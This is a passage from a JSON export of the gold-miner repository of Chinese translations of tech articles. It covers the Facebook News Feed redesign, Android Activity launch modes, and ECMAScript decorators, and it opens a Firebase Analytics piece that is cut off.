是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/evolving-the-facebook-news-feed-to-serve-you-better.md",
    "content": "\n  > * 原文地址：[Evolving the Facebook News Feed to Serve You Better](https://medium.com/facebook-design/evolving-the-facebook-news-feed-to-serve-you-better-f844a5cb903d)\n  > * 原文作者：[Ryan Freitas](https://medium.com/@ryanchris)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/evolving-the-facebook-news-feed-to-serve-you-better.md](https://github.com/xitu/gold-miner/blob/master/TODO/evolving-the-facebook-news-feed-to-serve-you-better.md)\n  > * 译者：[Lai](https://github.com/laiyun90)\n  > * 校对者：[kyrieliu](https://github.com/KKKyrie)  [Sean Shao](https://github.com/angilent) \n\n  # 优化 Facebook 新鲜事，使其为您提供更好的服务\n\n  ![](https://cdn-images-1.medium.com/max/2000/1*jQtKO4-gLZ1Y937qKDupKQ.jpeg)\n\n从去年年底开始，我们就着手探索如何让新鲜事（News Feeds）更加易于阅读、易于交流和易于浏览。可以想象，为一个连接 20 亿用户的社区进行设计，可能会面临一些不同寻常的挑战。\n\n作为将 News Feed 带到每天生活中的两个设计团队的管理人员，我们清楚地意识到，我们做出的任何改变都会在整个 Facebook 体验中产生共鸣。在与世界各地使用 Facebook 的用户沟通中，他们觉得 News Feed 变得很混乱、难以浏览。解决这个问题意味着需要优化 News Feed 的设计系统，这对于一个高度优化的产品而言，无疑是一个重大的挑战。一些类似额外像素的填充或者调整按钮的色调之类的小变化，可能会带来巨大的、意想不到的影响。\n\n[![](https://fb-s-b-a.akamaihd.net/h-ak-fbx/v/t15.0-10/20903038_10155513750176390_6456020927531450368_n.jpg?oh=dc35a79787ee18078e1890f7f255d086&oe=5A37A267&__gda__=1508549353_65f797c69507a2979e014c72da9f149c)](https://www.facebook.com/v2.3/plugins/post.php?app_id=52049637695&channel=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2FXBwzv5Yrm_1.js%3Fversion%3D42%23cb%3Dfa753d97d77ac8%26domain%3Dcdn.embedly.com%26origin%3Dhttps%253A%252F%252Fcdn.embedly.com%252Ff32992607cee04c%26relation%3Dparent.parent&container_width=700&href=https%3A%2F%2Fwww.facebook.com%2Fdesign%2Fvideos%2F10155513748726390%2F&locale=en_US&sdk=joey&width=700)\n\n#### 提高 News Feed 的可读性\n\n我们的设计和研发团队坚持每天和真实的用户交流。日积月累，我们了解到用户最关心的是以下几点：\n\n1. **内容**本身，例如分享的照片\n2. 分享内容的**人**\n3. 他们如何对正在浏览的内容留下**反馈**(像是评论或是交互操作)\n\n带着从真实用户那里得来的反馈，我们深入分析了常见的 story 类型的结构。我们的想法是，将问题分解成一个一个的小问题，再从我们之前所完成的设计中确定一个能立刻满足我们用户的需求的选择。\n\n![](https://cdn-images-1.medium.com/max/2000/1*vQMq6O3HmzHVPP5twX5TiQ.png)\n\n改版前：这是在我们优化前现有的 News Feed 的 story 样式。\n\n我们问自己，是否符合 3 个主要目标：\n\n> 我们如何改进 News Feed 使其更易读阅读，并能与内容的主要部分区分开来？\n\n> 我们如何让内容自身更具吸引力和沉浸感？\n\n> 如何才能让用户更容易地留下反馈？\n\n这些问题促使我们在设计 sprint 中不断地探索和实验，在两个设计师团队、研究人员和内容战略师中展开了为期一周的头脑风暴，并为新想法绘制原型。这次 sprint 的成品成为了一个指引，对形成未来的 News Feed 提供了很大的帮助。\n\n![](https://cdn-images-1.medium.com/max/2000/1*-Kkl2bNRuk02FZ7tMipTEw.png)\n\n我们设计 sprint 的第一版迭代更新的 story 样式\n\n我们尝试了各种设计处理，以找寻机会去改进每种内容类型展示的方式。\n\n- 通过优化视觉层次结构、增加文字大小和颜色对比来增加 News Feed 详情的易读性\n- 通过改进图标样式、放大点击目标尺寸来帮助用户更好地理解 News Feeds 的操作并与之进行交互\n- 通过扩大内容展示区域、减少不必要的 UI 元素来提供更精彩的内容体验\n\n我们的设计 sprint 都会有一个研究机会来验证我们的探索。在 sprint 中，我们确保把作品展现在真实的用户面前，来看看他们的反应。\n\n![](https://cdn-images-1.medium.com/max/2000/1*COSpLOU6nblSxB45OzKIUQ.png)\n\n第一轮测试的用户反馈。\n\n通过几轮迭代和测试，我们了解到我们最初的一些设计方案有助于让界面整洁，但是诸如将文案放置在照片顶部、删除明确的文本标签等决定，又引发了新的易读性问题。每次迭代都让我们离最终的设计又进了一步，我们的目标是布局和板式更易使用而又不牺牲可理解性。\n\n![](https://cdn-images-1.medium.com/max/2000/1*KMsUJuKyk8UeWqt6PDOm-A.png)\n\n改版后：我们最后一轮的 News Feed 的 story 优化。\n\n#### 让评论更具对话性和吸引力\n\n我们的目标是让人们容易参与到有意义的交流中去，让交流更为集中的同时产生更多的互动，并为人们提供更多元的表达自己的方式。我们现有的样式植根于留言板的风格，可供个人表达的方式大多相似且有限。当我们开始寻求其他评论样式时，很明显，消息传递设计范能够使人们比以前更好地进行交流。\n\n![](https://cdn-images-1.medium.com/max/2000/1*wVbXLamvms92BPrapEBigw.png)\n\n以前的评论样式（左图）以及优化后的（右图）。\n\n#### 让 News Feed 详情间的浏览更容易\n\n我们想改进的另一个方面是用户如何在整个系统间进入和离开 News Feed。根据内容类型，我们观察发现实验室研究中的用户打开他们的 Feed 后，仅仅只是陷于消费内容。我们也注意到，用户如何努力寻找「返回」按钮，而这是因为多年来我们与执行一致的功能可见性原则相违背。\n\n![](https://cdn-images-1.medium.com/max/2000/1*pzPdxt8EiRfeJ8tfSlgLqA.png)\n\n以前的导航（左图）以及优化后的（右图）。 \n\n除了减少导航栏和 story 标题间的冗余之外，我们团队选择了在所有沉浸式视图中一致的返回可供性。我们还优化了从 News Feed 到 story 视图页的跳转，通过扩展内容显示区域，营造一种专注于情境的感觉。我们也改善了导航的手势，让用户可以滑动屏幕回到 News Feed。\n\n[![](https://fb-s-d-a.akamaihd.net/h-ak-fbx/v/t15.0-10/20884290_10155513754036390_2163201085114679296_n.jpg?oh=054fbfb96418565834359c970c76b092&oe=5A1F9814&__gda__=1512720282_b3d048b53c0060bfcabd3f090b8a4b86)](https://medium.com/media/dd89d805e790715d32a15a67ce6e814d?postId=f844a5cb903d)\n\n我们将继续从这里开始构建系统，在 Facebook 没有什么事情「做完」过。作为 Facebook 的设计师，我们以用户为中心，所以我们着手以有意义的方式改进用户体验。这将是一个独特的设计挑战，因为我们不希望仅仅「在无关痛痒的地方瞎搞」，而是真正让数十亿人每天使用的东西不那么令人沮丧。我们会在新基础上继续学习、迭代和改进，但是我们希望这一步可以迈向更好的 Facebook 体验。\n\n在这里，我想祝贺我们成功发版，并衷心感谢团队的每位成员！没有你们的巨大努力和牺牲，是不可能做到的。\n\n还要感谢 Geoff Teehan、John Evans、Julie Zhuo、Lars Backstrom、Hady ElKheir、John Hegeman、Mark Hull、Adam Mosseri、Tom Alison、Chris Cox 和 Mark Zuckerberg，以及其他参与过这个项目的所有人，感谢你们提供的支持和咨询，并最终帮助推进项目上线。 \n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/explain-activity-launch-mode-with-examples.md",
    "content": "> * 原文地址：[Explain Activity Launch Mode With Examples](http://www.songzhw.com/2016/08/09/explain-activity-launch-mode-with-examples/)\n* 原文作者：[songzhw](http://www.songzhw.com/author/songzhw2012gmail-com/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Liz](http://lizwangying.github.io/)\n* 校对者： [mypchas6fans](https://github.com/mypchas6fans),[hackerkevin](https://github.com/hackerkevin)\n\n# Activity 的正确打开方式\n\n## adb shell dumpsys activity\n\n输入这个命令可以得到一个清晰的 Task 视图，比如你有多少个 Task ，哪些 activity 在其对应的 Task 等相关信息。\n\n下图是一张运行这个命令的输出截图。\n\n![](http://i2.wp.com/www.songzhw.com/wp-content/uploads/2016/08/20160214_01.png?w=644)\n\n从图中可以看出，有两个 Task (#103, #102) 。\n\nTask #103 : affinity = “cn.six.task2”, size = 3 (它里面有三个activity)\n\n— Activity One    \n— Activity Three    \n— ActivityTwo    \n\nTask #102 : affinity = “cn.six.adv”, size = 1\n\n— Activity One\n\n拥有了这个神奇的命令—— “adb shell dumpsys activity” ，我们就可以更好地探索 Activity 的启动模式啦…\n\n## Default\n\n到达此 activity 的 Intent ，系统会默认地在目标 Task 中创建一个新的实例并将默认的启动模式属性设置为 \"default\" 。\n\n“Default” 是 activity 的默认启动模式，也就是说当你未给 activity 指定启动模式的时候，系统默认会给一个 “Default” 作为它的启动模式。\n\n## SingleTop\n\n如果一个启动模式为 SingleTop 的 activity 实例在目标栈顶，intent 启动该 activity 时系统将通过 onNewIntent 的方法将 intent 传递给已有的那个实例而不会新创建一个的实例。\n\n注意：并不是清除栈顶的 activity ！！！（也就是说只要栈顶不是本 activity ，都会创建新的实例，是本 activity 则重用不新建）。\n\n## SingleTask\n\n这个是最难理解的，下文中我会搭配几个例子来细细讲解这个复杂的启动模式。\n\n## 1\\. A(Default) -> B(singleTask)\n\n我们有两个 Activity ，A 和 B ，其中 B 是 SingleTask 模式，现在从 A 跳转到 B 。\n\n首先在 Manifest 中写入启动模式，如下：\n\n```\n\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\" package=\"cn.six.adv\">\n    <Activity android:name=\".A\"/>\n    <Activity android:name=\".B\" android:launchMode=\"singleTask\"/>\n</manifest>\n\n```\n\nAndroid 官方文档中提到 “ intent 启动一个（SingleTask） 的 Activity ，系统会将这个 Activity 创建在一个新的 Task 根部”。 SO ,听起来会是这个样子？\n\n| Task 1 | Task 2 |\n| :-: | :-: |\n| A | B |\n\n但实际上，当我们运行命令 “adb shell dumpsys activity” 时，发现 B 这货诡异地和 A 出现在一个 Task 中。\n\n| Task 1 | Task 2 |\n| :-: | :-: |\n| B\nA | (null) |\n\n这个问题有一点小难表达，因为这里面 B 使用了 `android:taskAffinity` 属性。 后文中会有详解。\n\n## 2\\. A(Default) -> B(singleTask) : B has a taskAffinity attribute\n\n在 manifest 中这样写:\n\n```\n\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\" package=\"cn.six.adv\">\n    <activity android:name=\".A\"/>\n    <activity android:name=\".B\" android:launchMode=\"singleTask\" android:taskAffinity=\"task2\"/>\n</manifest>\n\n```\n\n在这里,  A 启动 B 的效果就不一样啦。如下:\n\n| Task 1 | Task 2 |\n| :-: | :-: |\n| A | B |\n\n这个和上一个例子的唯一不同就是属性 “android:taskAffinity” 。 当你不声明 affinity 属性, 那么 activity 就会以包名作为其默认值。在这个例子中, 默认的 affinity 值就是 “cn.six.adv” 。\n\n当 A 启动 B ，即使 B 的启动模式是 singleTask ，但也只有当 `android:taskAffinity` 属性和 A 不同时才会创建新的 task 。\n\n看到这里，第一个例子是不是就顿时豁然开朗？ 为什么 A 和 B 在同一个 Task 中呢？因为它们的 `taskAffinity` 属性值是一样滴。\n\n用逻辑来表达，就像是这样:\n\n```\n\nA --> B\n\n  if( taskAffinity 属性相同) { \n    A 和 B 在同一个 Task 中\n  }\n  else { \n    B 在新的 Task 中，并且此 Task 的 affinity 属性值就是 B 的\n  }\n\n```\n\n那么这个例子中, A 跳转 B, B 的启动模式是 “singleTask” , 并且 B 的 taskAffinity 不是 “cn.six.adv” 。 所以 B 会在一个新建的 Task 中。\n\n| Task 1 (affinity=”cn.six.adv”) | Task 2 (affinity=”task2″) |\n| --- | --- |\n| A | B |\n\n## 3\\. A(default) -> B(singleTask) -> C(singleTask) -> B(singleTask)\n\nmanifest 如下:\n\n```\n\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\" package=\"cn.six.adv\">\n    <activity android:name=\".A\"/>\n    <activity android:name=\".B\" android:launchMode=\"singleTask\" android:taskAffinity=\"task2\"/>\n    <activity android:name=\".C\" android:launchMode=\"singleTask\" android:taskAffinity=\"task2\"/>\n</manifest>\n\n```\n\n(1). A -> B\n\n| Task 1 (affinity=”cn.six.adv”) | Task 2 (affinity=”task2″) |\n| --- | --- |\n| A | B |\n\n(2) A -> B -> C\n\n因为 C 的 affinity 是 “task2” ，而 Task 中已经有一个和它一样属性值的 B ，所以 C 会被放在 Task 2 中。\n\n| Task 1 (affinity=”cn.six.adv”) | Task 2 (affinity=”task2″) |\n| --- | --- |\n| A | C B|\n\n(3) A -> B -> C -> B\n\n首先看一下实际结果\n\n| Task 1 (affinity=”cn.six.adv”) | Task 2 (affinity=”task2″) |\n| --- | --- |\n| A | B |\n\n好奇怪啊！ C 去哪里啦？\n\n事情呢，是这个样子滴。 C->B ， B 的启动模式是 singleTask 而且它的 affinity 属性值是 “task2”, 当系统发现有一个 affinity 属性值为 task2 的 Task 2 所以就把 B 放进去了。但是, 其中已经有一个 B 的实例在 Task 2 之中。 所以系统会将已有的 B 的实例赋予一个 **CLEAR_TOP** （清除顶部）标志。所以 C 是这么没的。\n\n## 4\\. SingleTask 小结\n\n```\n\n    if( 发现一个 Task 的 affinity == Activity 的 affinity ){\n        if(此 Activity 的实例已经在这个 Task 中){\n            这个 Activity 启动并且清除顶部的 Acitivity ，通过标识 CLEAR_TOP \n        } else {\n            在这个 Task 中新建这个 Activity 实例\n        }\n    } else { // Task 的 affinity 属性值与 Activity 不一样\n        新建一个 affinity 属性值与之相等的 Task\n        新建一个 Activity 的实例并且将其放入这个 Task 之中\n    }\n\n```\n\n## SingleInstance\n\nSingleInstance 要比 SingleTask 好理解很多。\n\n如果一个 Activity 的启动模式为 SingleInstance, 那么这个 Activity 必定会在一个新的 Task 之中, 并且这个 Task 之中有且只能有一个 Activity 。\n\n再来一波栗子。\n\n### 1\\. A(default) –> B(singleInstance) –> C(default)\n\n(1). A -> B\n\n| Task 1 | Task 2 |\n| :-: | :-: |\n| A | B |\n\n(2). A -> B -> C\n\n拥有 “singleInstance” 启动模式的 activity 不予许其他任何 Activity 在它的 Task 之中。所以它是这个 Task 之中的独苗啊。当它跳转另外一个 activity 时, 那个 Activity 将会被分配到另外一个 Task 之中——就像是 intent 被赋予了 **FLAG_ACTIVITY_NEW_TASK** 标志一样。\n\n由于 B 需要一个只能容纳它的 Task , 所以 C 会被加上一个 FLAG_ACTIVITY_NEW_TASK 标识。所以 C(default) 变成了 C(singleTask) 。\n\n然后结果变成了这样:\n\n| Task 1 | Task 2 |\n| :-: | :-: |\n| c A | B |\n\n注：如果跳转的流程是 “A(default) –> B(singleTask) –> C(default)”, 那么结果会是这样：\n\n| Task 1 | Task 2 |\n| :-: | :-: |\n| A | C B |\n\n## 如何去运用启动模式呢？\n\n假如, 你需要在 service 在后台中做一些耗时操作，当它完成时, 你需要从此 service 中跳转进入一个 Activity 中，你会怎样做？\n\nService 是 **Context** 一种扩展, 它含有 `startActivity(intent)` 方法。但是当你调用 `service.startActivity(intent)`时，你的程序必然会崩。报错如下：\n\n```\n\n            AndroidRuntimeException :   \n                        \"Calling startActivity() from outside of an Activity context \n                        requires the FLAG_ACTIVITY_NEW_TASK flag. \n                        Is this really what you want?\"\n\n```\n\n这就是上文中提到的。当一个 Activity A 跳转进入另一个 Activity B (它们的启动模式都为默认的 default ), 所以这个 B 会和 A 在一个 Task 之中。但是当你想让 service 跳转到 Activity B, 由于 service 并不是一个 Activity , 所以它没有相关的 task 信息。所以 Service 不会出现在 Activity 的任务栈之中。这种情况下，Activity B 就不知道自己的 Task 在哪里了。\n\n为了解决上述问题，我们可以告诉 Activity B 它应该在一个新的 Task 之中:\n\n```\n\n// \"this\" is a service\nIntent it = new Intent(this, ActivityB.class); \nit.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);\nthis.startActivity(it); \n\n```\n\n瞅见没？这才是 Activity 的启动模式的正确打开方式。\n"
  },
  {
    "path": "TODO/exploring-es7-decorators.md",
    "content": "> * 原文地址：[Exploring EcmaScript Decorators](https://medium.com/google-developers/exploring-es7-decorators-76ecb65fb841)\n> * 原文作者：[Addy Osmani](https://medium.com/@addyosmani?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/exploring-es7-decorators.md](https://github.com/xitu/gold-miner/blob/master/TODO/exploring-es7-decorators.md)\n> * 译者：[miaoyu](https://juejin.im/user/57df39fca0bb9f0058a3c63d/posts)\n> * 校对者：[ZhiyuanSun](https://github.com/zhiyuansun) [ryouaki](https://github.com/ryouaki)\n\n# 探索 ECMAScript 装饰器\n\n![](https://cdn-images-1.medium.com/max/800/1*Ifm00n-npUdYWTDbZag3rQ.png)\n\n[迭代器（Iterators）](http://jakearchibald.com/2014/iterators-gonna-iterate/), [生成器（generators）](http://www.2ality.com/2015/03/es6-generators.html) 和 [数组简约式（array comprehensions）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions)；随着时间的推移，JavaScript 和 Python 越来越像，如今我已经见怪不怪了。今天我们就来讨论一个类似 Python 语法的 ECMAScript 提议：[装饰器](https://github.com/wycats/javascript-decorators)，该提案来自 Yehuda Katz。\n\n**更新 07/29/2015: 装饰器提议已经提交到TC39。最新进展你可在 [提议](https://github.com/tc39/proposal-decorators) 仓库找到。现在又出了几个 [新的例子](http://tc39.github.io/proposal-decorators/)。**\n（译注：TC39 全称 TC39 ECMA 技术委员会，受特许解决JavaScript语言相关事宜。）\n\n### 装饰器模式\n\n到底什么是装饰器？在 Python中，装饰器提供了一个非常简单的语法，用于调用[高阶](https://en.wikipedia.org/wiki/Higher-order_function)函数。一个 Python 装饰器就是一个函数，它包装另外一个函数来拓展功能，而不需要做显式的修改。[最简单](http://www.saltycrane.com/blog/2010/03/simple-python-decorator-examples/)的 Python 装饰器看起来是这样的：\n\n![](https://cdn-images-1.medium.com/max/400/1*Np2xWAiiQmq9LfwOquDOuQ.png)\n\n代码顶部（`@mydecorator`）就是一个装饰器，它看起来和 ES2016（ES7）没有什么区别，所以你一定分清楚！:)。\n\n_`@`_ 向编译器表明，我们正在使用装饰器，_mydecorator_ 指向一个同名的函数。我们的装饰器接受一个参数（被装饰的函数），拓展功能后，返回一个与参数同名的函数。\n\n装饰器帮助你添加任何你想拓展的功能，比如 memoization（译者注：一种将函数返回值缓存起来的方法），强制访问控制，身份验证，插桩，时间函数，日志，比率限制，等等。\n\n### 在 ES5 和 ES2015（即ES6） 中的装饰器\n\n在 ES5 中，实现命令式装饰器（作为纯函数）是相当麻烦的。在 ES2015（即ES6）中，当类支持扩展，我们有多个类需要共享一个功能时，我们就需要更好的方法；或者说需要更好的分配方法。\n\nYehuda 的装饰器建议寻求在设计时对 JavaScript 类、属性和对象字面量进行注释和修改，同时保持声明式语法。\n\n让我们来看一些 ES2016 装饰器吧！\n\n### ES2016 装饰器\n\n想想我们在 Python 中学到的知识。一个 ES2016 装饰器是一个表达式，它返回一个函数以及接收一个目标体，名称，属性描述符来作为参数。通过在装饰器前面加一个 `@` 符号，然后放到被装饰者的最上面来使用装饰器。装饰器可以被定义为类或者属性。\n\n#### 装饰一个属性\n\n我们来看一个基础的 Cat 类：\n\n![](https://cdn-images-1.medium.com/max/800/1*vgZrCKk9PtyCAkUQdJC1Dg.png)\n\n编译这个类的结果就是将 meow 函数加载到 `Cat.prototype`，大致如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*rsumqLVuE3FaFZy5mKBZSg.png)\n\n设想一下，我们希望标记一个属性或者方法名不能被编辑。装饰器优先级高于定义属性的语法，因此我们可以定义一个 `@readonly` 装饰器，如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*1rWYZ3XAjD-6Eu1Y_7x8QA.png)\n\n我们就可以这样来定义 meow 属性了，如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*KDIo38_mEWYLS-s2kvsIiw.png)\n\n装饰器就是一个表达式，它会被执行然后返回一个函数。这就是为什么 `@readonly` 和 `@something(parameter)` 都能工作。\n\n在 描述符（descriptor）加载进 Cat.prototype 之前，JavaScript引擎会先调用装饰器：\n\n![](https://cdn-images-1.medium.com/max/800/1*hSy8oLzgqEHKOOnX8dzdRg.png)\n\n现在 meow 变成了只读，我们可以来验证一下：\n\n![](https://cdn-images-1.medium.com/max/800/1*Mv24M1ipQtk-HqX3pRr9Hw.png)\n\n不仅仅是属性，接下来我们来探讨装饰器类，在此之前我们先来看第三方库，尽管都很年轻，装饰器库从2016年开始陆续出现，包括由 Jay Phelps 开发的 [decorators.js](https://github.com/jayphelps/core-decorators.js)。\n\n和我们上面实现的 readonly 一样，decorators.js 包含了 `@readonly` ， 只需要导入就行了：\n\n![](https://cdn-images-1.medium.com/max/800/1*FJIBx1JqlHmMlRPNVa5glQ.png)\n\n它还包含其他的装饰器，比如 `@deprecate` ，主要是用于，当你的API需要提示方法可能会改变：\n\n> **调用 console.warn() 打印描述信息。也可以自定义描述信息，也可以在描述信息中添加链接，以便进一步阅读。**\n\n![](https://cdn-images-1.medium.com/max/800/1*RZcsUApI6TGaIPnD9syfFw.png)\n\n#### 装饰一个类\n\n接下来我们来看看装饰类。根据提议规范，一个装饰器接收构造函数作为参数。假设有一个 `MySuperHero` 类，我们可以定义一个简单的装饰器 `@superhero`来装饰它：\n\n![](https://cdn-images-1.medium.com/max/800/1*wRKeM_ZJmeqZoD-2sXrvlQ.png)\n\n这可以进一步拓展，通过提供参数使我们可以让装饰器定义成工厂函数：\n\n![](https://cdn-images-1.medium.com/max/800/1*HAL1EWF3ekb1nJBskLKRyg.png)\n\nES2016 装饰器作用于描述符和类。它们会自动接收被传递的属性名和目标对象，我们很快会讲到。通过对描述符的访问，装饰器可以做到更改属性使其使用 getter，或开启一些原本非常繁琐的操作，比如在第一次访问属性时自动绑定方法到当前实例。\n\n#### ES2016 装饰器 和 Mixins 模式\n\n我拜读了 Reg Braithwaite 最近的文章 [ES2016 Decorators as mixins](http://raganwald.com/2015/06/26/decorators-in-es7.html) 和之前的一篇 [Functional Mixins](http://raganwald.com/2015/06/17/functional-mixins.html)。Reg 提出使用一个 helper 将不同行为混入任意一个目标（类原型或者 standalone），并表述为一个类专属的版本。这种功能性的混入会把实例行为混入类原型，使其看起来像这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*bB77ghg773qnwCA1aeKPBg.png)\n\n好了，我们现在可以定义一些 mixins ，然后尝试用它们装饰一个类。假设我们有一个简单的 `ComicBookCharacter` 类：\n\n![](https://cdn-images-1.medium.com/max/800/1*1YMyHF0gp8F4mVRBtloJ-A.png)\n\n`ComicBookCharacter ` 可能是世界上最无聊的角色了，但是我们可以定义一些 mixins，为它提供超能力（`SuperPowers`）和 装备（`UtilityBelt`），让我们用 Reg 的 mixin helper 来实现吧：\n\n![](https://cdn-images-1.medium.com/max/800/1*2a3HCBjjQSPZcoER0rSFsg.png)\n\n现在我们就可以通过在 mix 函数前面加 `@` 的语法，根据我们想要的属性来装饰 `ComicBookCharacter`。注意我们是如何在类上面加多个装饰器语句的：\n\n![](https://cdn-images-1.medium.com/max/800/1*jbX4pzw31FBNp-2QgnfCew.png)\n\n现在我们可以塑造一个蝙蝠侠角色了。\n\n![](https://cdn-images-1.medium.com/max/800/1*_4pUUwbwlqTdBTxV-X111g.png)\n\n这些类的装饰器相对紧凑，我可以将它们用作函数调用的替代方法，或者作为高阶组件的助手。\n\n**注: @WebReflection 有一些替代方案，用于本节中使用的mixin模式，您可以点击 [了解更多](https://gist.github.com/addyosmani/a0ccf60eae4d8e5290a0#comment-1489585)。**\n\n### 通过 Babel 使用装饰器\n\n装饰器（在我写本文的时候）仍然还是一个提案。他们还没有通过。感谢 Babel 支持在实验模式使用装饰器语法，所以本文的大部分例子都可以直接使用。\n\n如果你使用 Babel CLI，你可以出入如下参数：\n\n```\n$ babel --optional es7.decorators\n```\n\n或者直接调用 transformer：\n\n![](https://cdn-images-1.medium.com/max/800/1*9dlzSG1EqMCpH-dk1RZ5xg.png)\n\n这里有一个 [Babel 在线的 REPL](https://babeljs.io/repl/)；复选框选中“Experimental”就可以使用装饰器了。\n\n### 有趣的实验\n\n我很幸运坐在 Paul Lewis 的旁边，他在[尝试用装饰器](https://github.com/GoogleChrome/samples/tree/gh-pages/decorators-es7/read-write)重新调度读写 DOM 的代码。它借鉴了 Wilson Page 的 FastDOM，但是提供了更精简的API。Paul 的 read/write 装饰器可以通过 `console` 来提醒你，如果你在改变布局时使用 @write 后调用方法或者属性（或者使用 @read 后改变DOM）。\n\n下面是 Paul 的一个实验例子，在使用 @read 后尝试改变 DOM，会在 `console` 中打印异常：\n\n![](https://cdn-images-1.medium.com/max/800/1*A3gYGXlTPdXGtCkfgK_NRA.png)\n\n### 现在就去试试装饰器吧！\n\n在短时间来看，ES2016装饰器对于声明式装饰和注释，类型检查和在 ES2015 类中应用装饰器都是大有裨益的，从长远来看，他们可以提供非常有用的静态分析工具（编译时类型检查和自动补全）。\n\n他们和经典面向对象语言（OOP）中的装饰器没有区别，允许一个对象可以被行为装饰，不管是动态的还是静态的都不会影响到来自同一个类的对象。装饰器的提案还一直在变化中，让我们持续关注 Yehuda 的提案吧。\n\n第三方库的作者正在讨论，装饰器可能会替换 mixins，以及他们可以应用到 [React](https://github.com/timbur/react-mixin-decorator) 的高阶组件中。\n\n我个人很希望看到关于装饰器越来越多的尝试，你可以在 Babel 上尝试，识别出可复用的装饰器，也许你也可以像 Paul 那样分享你的作品 :)\n\n### 了解更多以及参考\n\n* [https://github.com/wycats/javascript-decorators](https://github.com/wycats/javascript-decorators)\n* [https://github.com/jayphelps/core-decorators.js](https://github.com/jayphelps/core-decorators.js)\n* [http://blog.developsuperpowers.com/eli5-ecmascript-7-decorators/](http://blog.developsuperpowers.com/eli5-ecmascript-7-decorators/)\n* [http://elmasse.github.io/js/decorators-bindings-es7.html](http://elmasse.github.io/js/decorators-bindings-es7.html)\n* [http://raganwald.com/2015/06/26/decorators-in-es7.html](http://raganwald.com/2015/06/26/decorators-in-es7.html)\n* [Jay’s function expression ES2016 Decorators example](https://babeljs.io/repl/#?experimental=true&evaluate=true&loose=false&spec=false&playground=true&code=class%20Foo%20%7B%0A%20%20%40function%20%28target%2C%20key%2C%20descriptor%29%20%7B%20%20%20%0A%20%20%20%20descriptor.writable%20%3D%20false%3B%20%0A%20%20%20%20return%20descriptor%3B%20%0A%20%20%7D%0A%20%20bar%28%29%20%7B%0A%20%20%20%20%0A%20%20%7D%0A%7D&stage=0)\n\n感谢 [Jay Phelps](http://twitter.com/jayphelps)，[Sebastian McKenzie](http://twitter.com/sebmck)，[Paul Lewis](http://twitter.com/aerotwist) 和 [Surma](http://twitter.com/surmair) 对本文的审校以及提供的详细反馈❤\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/exploring-firebase-on-android-ios-analytics.md",
    "content": "> * 原文地址：[Exploring Firebase on Android & iOS: Analytics](https://medium.com/exploring-android/exploring-firebase-on-android-ios-analytics-8484b61a21ba#.b0hgigy3r)\n* 原文作者：[Joe Birch](https://medium.com/@hitherejoe)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[Danny1451](https://github.com/Danny1451), [owenlyn](https://github.com/owenlyn)\n\n# 探索 `Firebase` 在 `Android` 和 `iOS` 的使用: 分析\n\n\n\n\n\n\n\n\n`Firebase` 是一个令人惊艳的新的服务类聚合框架, 我已经对它进行了深入的阅读和实验。在这个新的系列文章中，我们会涵盖这些 `firebase` 的特性，去学习整合每一个功能能为我们带来什么。在本次章节中，我们准备看看 **`Firebase Analytics`** - 整合这个 `Analytics` 